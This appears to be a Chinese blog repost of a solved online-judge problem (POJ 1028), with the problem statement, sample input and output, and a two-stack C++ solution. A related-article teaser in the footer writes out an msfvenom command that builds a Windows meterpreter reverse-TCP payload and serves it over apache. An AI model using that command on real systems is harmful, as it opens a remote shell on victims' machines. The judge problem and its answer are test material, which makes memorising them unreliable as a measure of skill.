POJ1028Web Navigation题解

news/2024/4/16 20:35:26/文章来源:https://blog.csdn.net/weixin_42178241/article/details/127145788

POJ1028Web Navigation题解

  • 题目
    • 链接
    • 字面描述
      • 描述
      • 输入描述
      • 输出描述
      • 样例
        • 输入样例1
        • 输出样例1
  • 思路
  • 代码实现

题目

链接

http://poj.org/problem?id=1028

字面描述

描述

Standard web browsers contain features to move backward and forward among the pages recently visited. One way to implement these features is to use two stacks to keep track of the pages that can be reached by moving backward and forward. In this problem, you are asked to implement this.
The following commands need to be supported:
BACK: Push the current page on the top of the forward stack. Pop the page from the top of the backward stack, making it the new current page. If the backward stack is empty, the command is ignored.
FORWARD: Push the current page on the top of the backward stack. Pop the page from the top of the forward stack, making it the new current page. If the forward stack is empty, the command is ignored.
VISIT : Push the current page on the top of the backward stack, and make the URL specified the new current page. The forward stack is emptied.
QUIT: Quit the browser.
Assume that the browser initially loads the web page at the URL http://www.acm.org/

输入描述

Input is a sequence of commands. The command keywords BACK, FORWARD, VISIT, and QUIT are all in uppercase. URLs have no whitespace and have at most 70 characters. You may assume that no problem instance requires more than 100 elements in each stack at any time. The end of input is indicated by the QUIT command.

输出描述

For each command other than QUIT, print the URL of the current page after the command is executed if the command is not ignored. Otherwise, print “Ignored”. The output for each command should be printed on its own line. No output is produced for the QUIT command.

样例

输入样例1

VISIT http://acm.ashland.edu/
VISIT http://acm.baylor.edu/acmicpc/
BACK
BACK
BACK
FORWARD
VISIT http://www.ibm.com/
BACK
BACK
FORWARD
FORWARD
FORWARD
QUIT

输出样例1

http://acm.ashland.edu/
http://acm.baylor.edu/acmicpc/
http://acm.ashland.edu/
http://www.acm.org/
Ignored
http://acm.ashland.edu/
http://www.ibm.com/
http://acm.ashland.edu/
http://www.acm.org/
http://acm.ashland.edu/
http://www.ibm.com/
Ignored

思路

按照题目翻译的用2个栈去实现就完了。别说看不懂

代码实现

#include<iostream>
#include<string.h>
#include<cstring>
using namespace std;const int maxn=100+10;
int top1,top2;
string x,y,op;
string s1[maxn],s2[maxn];
int main(){op="http://www.acm.org/";while(1){cin>>x;if(x=="QUIT"){//cout<<"Ignored"<<endl;break;}else if(x=="VISIT"){cin>>y;s2[top2++]=op;op=y;top1=0;}else if(x=="BACK"){if(!top2){cout<<"Ignored"<<endl;continue;}s1[top1++]=op;op=s2[--top2];}else {if(!top1){cout<<"Ignored"<<endl;continue;}s2[top2++]=op;op=s1[--top1];}int len=op.length();for(int i=0;i<len;i++)printf("%c",op[i]);cout<<endl;}return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_17656.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java线程安全问题详解与相关面试题理解

一 、什么时候数据在多线程并发的环境下会存在安全问题呢&#xff1f; 三个条件&#xff1a; 条件1&#xff1a;多线程并发 条件2&#xff1a;有共享数据 条件3&#xff1a;共享数据有修改的行为 满足以上三个条件之后&#xff0c;就会存在线程安全问题。 举个与女朋友取钱的例…

[SpringMVC] SpringMVC入门

✨✨个人主页:沫洺的主页 &#x1f4da;&#x1f4da;系列专栏: &#x1f4d6; JavaWeb专栏&#x1f4d6; JavaSE专栏 &#x1f4d6; Java基础专栏&#x1f4d6;vue3专栏 &#x1f4d6;MyBatis专栏&#x1f4d6;Spring专栏&#x1f4d6;SpringMVC专栏 &#x1f496;&#x1f4…

SSD详解

论文地址:SSD: Single Shot MultiBox Detector | SpringerLink 1.Abstract SSD将不同的高宽比和比例的边界框的输出空间离散为一组默认框。在预测时&#xff0c;网络为每个默认框中每个对象类别的存在生成分数&#xff0c;并对该框进行调整&#xff0c;以更好地匹配对象形状。…

CMake中macro的使用

在https://blog.csdn.net/fengbingchun/article/details/127144948 中介绍了CMake中function的使用&#xff0c;这里介绍下macro的使用&#xff0c;它与function有很多的相似性。 macro的定义格式如下&#xff1a;后面可作为命令供调用 macro(<name> [<arg1> ...]…

DB2在Linux下静默安装

目录前言1. 下载并上传db2压缩包到Linux2. 检测db2安装环境3. 安装db2数据库软件4. 配置db2数据库系统用户5. 创建数据库实例6. 配置TCP/IP通信服务7. 配置数据库8. 启动和关闭数据库实例9. 修改权限10 数据库客户端和工具链接11. 创建数据库多实例前言 db2是IBM公司开发的一款…

【C++】AVL树模拟实现

文章目录AVLTree概念AVLTree插入实现AVLTree测试AVLTree的性能AVLTree概念 AVLTree&#xff08;搜索平衡二叉树&#xff09; 性质一&#xff1a;每一个节点的左右子树都是AVLTree 性质二&#xff1a;每个节点左右子树高度只差不超过1 优点&#xff1a;提高查找效率&#xff0c…

python容器

1.什么是数据容器&#xff1a; 一种可以存储多个元素Python数据类型 2.Python有哪些数据容器 列表list 元祖tuple 字符串str 集合set 字典dict 一&#xff1a;列表 list 可以容纳多个元素(上限2**63-1)可以容纳不同类型的元素数据是有序存储的&#xff08;索引&#xff09;允许…

三维重建经典算法:ICP、ARAP、Marching Cubes、TSDF

&#x1f60d;&#x1f60d;&#x1f60d;更多精彩福利&#x1f60d;&#x1f60d;&#x1f60d; 三维重建经典算法 1. ICP 迭代最近点算法&#xff08;Iterative Closest Point, ICP&#xff09;是一种点云配准算法&#xff0c;用来求解两堆点云之间的变换关系&#xff1a;…

MySQL怎么运行的系列(十一)快照读、锁定读、半一致性读 和 加锁语句分析

本系列文章目录展开/收起MySQL怎么运行的系列&#xff08;一&#xff09;mysql体系结构和存储引擎MySQL怎么运行的系列&#xff08;二&#xff09;Innodb缓冲池 buffer pool 和 改良版LRU算法Mysql怎么运行的系列&#xff08;三&#xff09;InnoDB存储结构之行结构和页结构MySQ…

Spring源码分析(四)Bean生命周期源码分析2:合并BeanDefinition、FactoryBean

Spring容器启动&#xff0c;扫描得到所有BeanDefinition之后&#xff0c;就会先实例化所有非懒加载的单例Bean的 入口 Spring容器启动刷新的方法里&#xff1a; org.springframework.context.support.AbstractApplicationContext#refresh org.springframework.context.suppor…

RT-Thread信号量

目录 信号量 信号量基本概念 信号量基本概念 信号量的特性 二值信号量的运作机制 计数型信号量的运作机制 信号量相关接口 信号量控制块、 创建信号量 删除信号量 初始化信号量 脱离信号量 释放信号量 获取信号量 无等待获取信号量 使用场合 线程同步 锁 中断与…

单片机控制发光二极管的显示(2)

我们今天来说说单片机是如何控制发光二极管的。 如果P0口作为通用I/O使用,由于漏极开路&#xff0c;需要外接上拉电阻&#xff0c;而P1~P3口内部已有30k0左右的上拉电阻。下面来讨论PI~P3口如何与LED发光二极管的驱动连接问题。 使用单片机的并行端口P1 ~P3直接驱动发光二极管&…

创新实践 | SaaS增长新趋势:产品驱动增长PLG(下)

SaaS产品增长第一步&#xff0c;一定是找方向&#xff0c;SaaS产品的北极星指标处于商业目标&#xff0c;用户价值&#xff0c;和战略选择的交点上&#xff0c;且一般落实在功能使用量上。与To C产品的AARRR略有不同&#xff0c;To B SaaS产品驱动增长包含六大杠杆&#xff0c;…

java基于springboot+vue的新冠肺炎疫苗接种管理系统 element

新冠肺炎疫苗接种管理系统的开发运用springboot技术,MIS的总体思想,以及MYSQL等技术的支持下共同完成了该系统的开发,实现了新冠肺炎疫苗接种管理的信息化,使用户体验到更优秀的新冠肺炎疫苗接种管理系统,管理员管理操作将更加方便,实现目标。 环境需要 1.运行环境&#xff1a…

LVC | 一种简单的小样本目标检测方法

欢迎关注我的公众号 [极智视界]&#xff0c;获取我的更多笔记分享 大家好&#xff0c;我是极智视界&#xff0c;本文解读一下 Label, Verify, Correct (LVC)&#xff1a;一种简单的小样本目标检测方法。 本文的目标是小样本目标检测 (FSOD)&#xff0c;即在给定少量训练实例的…

谷歌翻译 失效/无法使用方法

谷歌2022年9月26日左右停止了在中国地区的谷歌翻译服务包含 translate.google.cn 与 translate.googleapi.com&#xff0c;其给出原因为“使用量低” 来源 techcrunch 在论坛中找到了前段时间谷歌翻译工作人员回复&#xff0c;翻译成中文csdn说辱华&#xff0c;不给通过 这个回…

msf win10系统攻击

kali ip 192.168.141.129 windwos10 192.168.141.128 一、木马生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST本机ip LPORT本机端口 -f exe > shell.exe //保存到跟目录 二、开启apach服务 service apache2 start 查看状态 ervice apache2 status 接下来把我…

java基于SpringBoot+Vue+nodejs的个人家庭理财记账本管理系统 element

家庭理财记账系统主要是为了提高用户的工作效率和更方便快捷的满足用户,更好存储所有数据信息及快速方便的检索功能,对家庭理财记账系统的各个模块是通过许多今天的发达家庭理财记账系统做出合理的分析来确定考虑用户的可操作性,遵循开发的系统优化的原则,经过全面的调查和研究…

接收节点无线广播发送的数据,并printf打印出来(含核心代码)_物联网挑战赛第四届第一题

目录 题目 赛题 格式说明 计分规则 评分步骤 题目解析 右上角节点代码解析 其余11个节点代码解析 比赛时的思考 具体解析 核心代码 右上角节点代码 其余11个节点代码 题目 赛题 数据广播节点—> 如图所示&#xff0c;平台节点不安装天线&#xff0c;12 个节点 …

详解库存监控 到货提醒步骤

首先看看具体监控效果&#xff0c;在浏览器的书签栏增加一个库存监控提醒的按钮&#xff0c;点击该按钮即启动库存监控提醒项目。 项目运行时&#xff0c;自动打开指定的网址&#xff0c;并从事先准备好的txt文件中读取型号&#xff0c;输入到页面上的型号搜索框中&#xff0c…